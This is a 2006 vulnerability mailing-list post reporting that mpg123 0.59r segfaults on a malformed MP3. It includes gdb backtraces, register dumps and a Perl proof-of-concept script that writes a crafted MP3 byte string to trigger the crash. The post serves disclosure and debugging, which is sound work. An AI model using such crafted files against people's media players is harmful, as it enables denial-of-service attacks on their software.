Vulnerability Development mailing list archives

mpg123 DoS ... It receives a SIGSEGV.


From: "A. Alejandro Hernández" <nitrous () conthackto com mx>
Date: Sun, 02 Apr 2006 17:11:55 -0600

Hi !

I was listening a song ( http://www.genexx.org/nitrous/Belanova-Y.mp3 ) and mpg123 died.

I spent 4 hours trying to debug it on gdb, but I cannot really catch that vulnerability ...

This is a little log, just for see the SIGSEGV:
nitrous@lsd:~/vulndev/mpg123fuck$ file Belanova-Y.mp3
Belanova-Y.mp3: MP3 file with ID3 version 2.3.0 tag
nitrous@lsd:~/vulndev/mpg123fuck$ ./mpg123 Belanova-Y.mp3
High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and 3.
Version 0.59r (1999/Jun/15). Written and copyrights by Michael Hipp.
Uses code from various people. See 'README' for more!
THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK!
Title  : Y                               Artist: Belanova
Album  : Cocktail                        Year  : 2003
Comment:                                 Genre : Blues

Playing MPEG stream from Belanova-Y.mp3 ...
Junk at the beginning 49443303
MPEG 2.0 layer III, 128 kbit/s, 24000 Hz joint-stereo
big_values too large!
mpg123: Can't rewind stream by 3341 bits!
Illegal Audio-MPEG-Header 0x00000000 at offset 0x32f.
Skipped 3513063 bytes in input.
Violación de segmento
nitrous@lsd:~/vulndev/mpg123fuck$ gdb -q ./mpg123
(gdb) r Belanova-Y.mp3
Starting program: /home/nitrous/vulndev/mpg123fuck/mpg123 Belanova-Y.mp3
High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and 3.
Version 0.59r (1999/Jun/15). Written and copyrights by Michael Hipp.
Uses code from various people. See 'README' for more!
THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK!
Title  : Y                               Artist: Belanova
Album  : Cocktail                        Year  : 2003
Comment:                                 Genre : Blues

Playing MPEG stream from Belanova-Y.mp3 ...
Junk at the beginning 49443303
MPEG 2.0 layer III, 128 kbit/s, 24000 Hz joint-stereo
big_values too large!
mpg123: Can't rewind stream by 3341 bits!
Illegal Audio-MPEG-Header 0x00000000 at offset 0x32f.
Skipped 3513063 bytes in input.

Program received signal SIGSEGV, Segmentation fault.
do_layer3 (fr=0x8077e39, outmode=-1129440371, ai=0xffffffff) at layer3.c:1179
1179             register real bu = *--xr2,bd = *xr1;
(gdb) p bu
No symbol "bu" in current context.
(gdb) p xr2
No symbol "xr2" in current context.
(gdb) p xr1
No symbol "xr1" in current context.
(gdb) bt
#0 do_layer3 (fr=0x8077e39, outmode=-1129440371, ai=0xffffffff) at layer3.c:1179
#1  0x0804a975 in play_frame (init=0, fr=0xffffffff) at mpg123.c:695
#2  0x0804372d in ?? ()
#3  0x00000000 in ?? ()
#4  0x080700c0 in curfile.5730 ()
#5  0xbfc06f6d in ?? ()
#6  0x08069435 in C.88.5890 ()
#7  0xb5a6c35c in ?? ()
#8  0xb6407f3b in ?? ()
#9  0x00000000 in ?? ()
#10 0x315e18f6 in ?? ()
#11 0x2da7efc4 in ?? ()
#12 0x00000000 in ?? ()
#13 0x00000000 in ?? ()
#14 0x2e1cf338 in ?? ()
#15 0x32284175 in ?? ()
#16 0x00000000 in ?? ()
#17 0xb7fd4917 in catanhl () from /lib/tls/i686/cmov/libm.so.6
Previous frame inner to this frame (corrupt stack?)
(gdb) p ai
$1 = (struct audio_info_struct *) 0xffffffff
(gdb) p *ai
Cannot access memory at address 0xffffffff
(gdb) p fr
$2 = (struct frame *) 0x8077e39
(gdb) q
The program is running.  Exit anyway? (y or n) y
nitrous@lsd:~/vulndev/mpg123fuck$ cat tailedbyte
150927
nitrous@lsd:~/vulndev/mpg123fuck$ ./copy Belanova-Y.mp3 evilsong.mp3 2 -150927 150927
Bytes leidos: 150927
nitrous@lsd:~/vulndev/mpg123fuck$ file evilsong.mp3
evilsong.mp3: MPEG ADTS, layer III, v2, 128 kBits, 24 kHz, JntStereo
nitrous@lsd:~/vulndev/mpg123fuck$ gdb -q mpg123
(gdb) r evilsong.mp3
Starting program: /home/nitrous/vulndev/mpg123fuck/mpg123 evilsong.mp3
High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and 3.
Version 0.59r (1999/Jun/15). Written and copyrights by Michael Hipp.
Uses code from various people. See 'README' for more!
THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK!
Title  : Y                               Artist: Belanova
Album  : Cocktail                        Year  : 2003
Comment:                                 Genre : Blues

Playing MPEG stream from evilsong.mp3 ...
MPEG 2.0 layer III, 128 kbit/s, 24000 Hz joint-stereo

Program received signal SIGSEGV, Segmentation fault.
0x080599f9 in do_layer3 (fr=0x8077e39, outmode=-1131931381, ai=0xffffffff) at layer3.c:1179
1179             register real bu = *--xr2,bd = *xr1;
(gdb) bt
#0 0x080599f9 in do_layer3 (fr=0x8077e39, outmode=-1131931381, ai=0xffffffff) at layer3.c:1179
#1  0x0804a975 in play_frame (init=1, fr=0xffffffff) at mpg123.c:695
#2  0x0804372d in ?? ()
#3  0x00000001 in ?? ()
#4  0x080700c0 in curfile.5730 ()
#5  0xbf9667e3 in ?? ()
#6  0x08069435 in C.88.5890 ()
#7  0xb5a04a63 in ?? ()
#8  0xb6390690 in ?? ()
#9  0x00000000 in ?? ()
#10 0x315e18f6 in ?? ()
#11 0x2da7efc4 in ?? ()
#12 0x00000000 in ?? ()
#13 0x00000000 in ?? ()
#14 0x2e1cf338 in ?? ()
#15 0x32284175 in ?? ()
#16 0x00000001 in ?? ()
#17 0xb7f3746c in modfl () from /lib/tls/i686/cmov/libm.so.6
Previous frame inner to this frame (corrupt stack?)
(gdb) i r
eax            0xbf95efe8       -1080692760
ecx            0xa8079c7c       -1475896196
edx            0xe7     231
ebx            0xbf95c180       -1080704640
esp            0xbf959b60       0xbf959b60
ebp            0x279837f0       0x279837f0
esi            0xbf95c0b0       -1080704848
edi            0x1      1
eip            0x80599f9        0x80599f9
eflags         0x10286  66182
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/10i $eip
0x80599f9 <do_layer3+3241>:     flds   0x18(%eax)
0x80599fc <do_layer3+3244>:     fxch   %st(6)
0x80599fe <do_layer3+3246>:     fmuls  (%esp)
0x8059a01 <do_layer3+3249>:     flds   0x6c(%esp)
0x8059a05 <do_layer3+3253>:     fmul   %st(7),%st
0x8059a07 <do_layer3+3255>:     fsubrp %st,%st(1)
0x8059a09 <do_layer3+3257>:     fstps  0xffffffe4(%eax)
0x8059a0c <do_layer3+3260>:     flds   0x34(%esp)
0x8059a10 <do_layer3+3264>:     fmul   %st,%st(6)
0x8059a12 <do_layer3+3266>:     flds   0x30(%esp)
(gdb) x/20x $eax
0xbf95efe8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbf95eff8: 0x00000000 0x00000000 Cannot access memory at address 0xbf95f000

I don't know what kind of vulnerability is it... And why I can't see the variables: register real bu = *--xr2,bd = *xr1 in gdb?? The line 1179 register real bu = *--xr2,bd = *xr1; is not part of do_layer3() function :S ...
It's strange for me...

Whatever.. I wrote a poc for this threat:

http://www.genexx.org/nitrous/code/PoCs/mpg1DoS3

#!/usr/bin/perl
#
# Affected product: mpg123-0.59r - http://mpg123.de
#
# I'm not sure what kind of vulnerability is it, but the program
# receives a SIGSEGV when I play it. My gdb skillz r p00r, but
# anybody with more experience than me can find the *real* bug.
#
# $./mpg1DoS3 0 | mpg123 -
# (- switch tells mpg123 to play from stdin)
# $./mpg1DoS3 1 evil.mp3
# $mpg123 ./evil.mp3
#
# Regards.
# Nitrous
# Vulnfact Security Group - http://www.vulnfact.com

my $evilsong =
"\xff\xf2\xc5\x53\xff\xff\xa1\xe2\x41\x41\xad\x9b\xfb\x3f".
"\xdc\xe0\x38\x4c\x7f\xff\x6f\xe7\x0c\x0f\xc3\x3f\x7f\xef".
"\x9a\xa8\x3e\x00\xaa\xe6\x82\xc3\xe8\x65\x7f\xf1\x39\x25".
"\x24\xec\x43\xe6\x12\x44\xb9\xd5\x7a\x2a\x26\xce\xff\xeb".
"\xea\xc7\x2c\xde\x9b\xee\xba\x5a\xe7\x0b\x9d\x14\xef\xe7".
"\x6b\xf5\xa2\xb0\x5c\x4b\x23\xff\xff\xe4\xc2\x53\xff\xff".
"\xad\x21\x27\x0d\x84\xd2\x7d\x1e\xad\x5e\x96\x62\x54\x32".
"\x85\x89\x24\x93\xed\xf3\xac\xd4\x94\xea\x58\x54\xca\x29".
"\x1d\x7d\x7e\xd3\x34\x7e\xb4\x44\x24\x6a\x25\xde\xff\xed".
"\x57\x9d\x2e\x94\xcb\xe3\xd5\x48\x96\x74\x5b\xf7\xd6\x74".
"\x84\xfc\x9a\xc0\x79\x75\x7a\x1e\x31\x1f\x9f\x9f\x11\x94".
"\xd1\x2c\x48\xfe\x5d\x58\xd1\x9f\x2b\x25\x2a\xff\xff\xd0".
"\x15\x48\x1f\xff\xfe\x83\x21\xcf\xff\xff\x52\x61\x18\x6a".
"\xdf\xff\xfa\x90\x11\x01\x59\x37\xfd\x13\xf5\x3c\x7e\x58".
"\x71\xe8\x67\xd1\x0e\xcd\xee\x80\xb4\x35\x2a\x4b\x4f\xff".
"\xf8\xb0\x03\x82\x1c\xf3\x87\x5f\x6e\xf9\x9a\xdc\x5e\x49".
"\x51\xc6\xe0\x15\x04\xca\x49\x14\x0d\x90\x25\x0a\x54\x04".
"\x3c\xc0\x57\x3c\x8a\x7a\x56\x1c\x42\xf2\x47\x47\xb0\x1c".
"\x67\xff\xff\xac\xc1\x17\xff\xff\xea\x19\x89\x63\x4f\xff".
"\xf5\x2e\x91\x04\x59\x93\x93\xff\xf7\xd5\xb9\x28\x46\x20".
"\x9e\xd5\xef\xad\x6d\xb6\x98\x6c\x96\xac\xf3\xd6\x8e\xdc".
"\xc1\x5a\x1a\x8d\x02\x67\x1e\xc3\xc9\xfe\xbf\xfe\x89\xc1".
"\xf4\x79\x98\x4e\x33\x8b\xc8\x00\x41\x54\x94\x8c\x06\xc2".
"\x69\x58\x8a\x04\xc1\x76\x2f\x67\x6c\x09\x0e\xff\xfb\x92".
"\x60\xb9\x00\x02\x6d\x67\x56\xe1\xe7\x3b\x68\x63\x2c\xea".
"\xdd\x60\xed\x6d\x0a\x65\x9d\x5d\x87\xb5\x4d\xa1\x71\x2f".
"\xab\x74\xf5\x35\xb4\xd4\xce\xb6\x76\x7f\x73\x44\x16\xb5".
"\x35\x01\x59\xbf\xff\xfa\x01\xa4\xd7\xff\xff\xe7\x96\x7f".
"\xff\xfe\xa5\x89\x85\xbf\xff\xff\x3c\x7c\x21\x1f\xff\x7f".
"\xf3\x4f\x63\x3f\x6e\x3f\x9a\x9b\x9a\x54\x1d\x02\x52\x32".
"\xec\x7e\xad\xd3\xfd\x09\x82\xd8\x82\x38\xb8\xa0\xde\xf6".
"\xd3\xde\x23\xa0\x0a\x51\xb8\xc0\x61\xc6\xe5\x20\x02\x48".
"\x51\x9c\xa7\x94\xd7\xda\xfc\x4e\x7a\xea\x0b\x19\x84\xd6".
"\xca\x8d\x01\xbb\x5f\xab\xff\xf2\xa1\xe6\x7f\xff\xff\xa8".
"\xc8\x4b\x0b\x1b\xff\xf7\x5a\xa8\x0c\x18\x54\x44\x45\xbf".
"\xff\xe8\x06\x81\x81\x37\x45\x5f\xf4\x3d\xf8\x37\x0d\x12".
"\x47\xff\x32\x6f\xcc\x87\xa2\x49";

sub usage
{
        print "###################################################\n";
        print "####        mpg123 DoS Proof of Concept        ####\n";
        print "###### nitrous<at>conthackto<dot>com<dot>mx  ######\n";
        print "###################################################\n\n";
        print "Usage: $0 <mode> [evil.mp3]\n";
        print "\tmodes: [0 (stdout) | 1 (file)]\n";
        exit;
}

if(@ARGV < 1){
        usage;
}

if($ARGV[0] == 0){
        print $evilsong;
}
elsif($ARGV[0] == 1){
        if(!$ARGV[1]){
                print "Filename required !\n\n";
                usage;
        }

        open(EV1L, ">$ARGV[1]") or die "Cannot create \"$ARGV[1]\"\n";

        print EV1L $evilsong;

        close(EV1L);

        print "Ready !\nNow just type \$mpg123 $ARGV[1]\n";
}
else{
        print "Invalid Mode !\n\n";
        usage;
}


Current thread: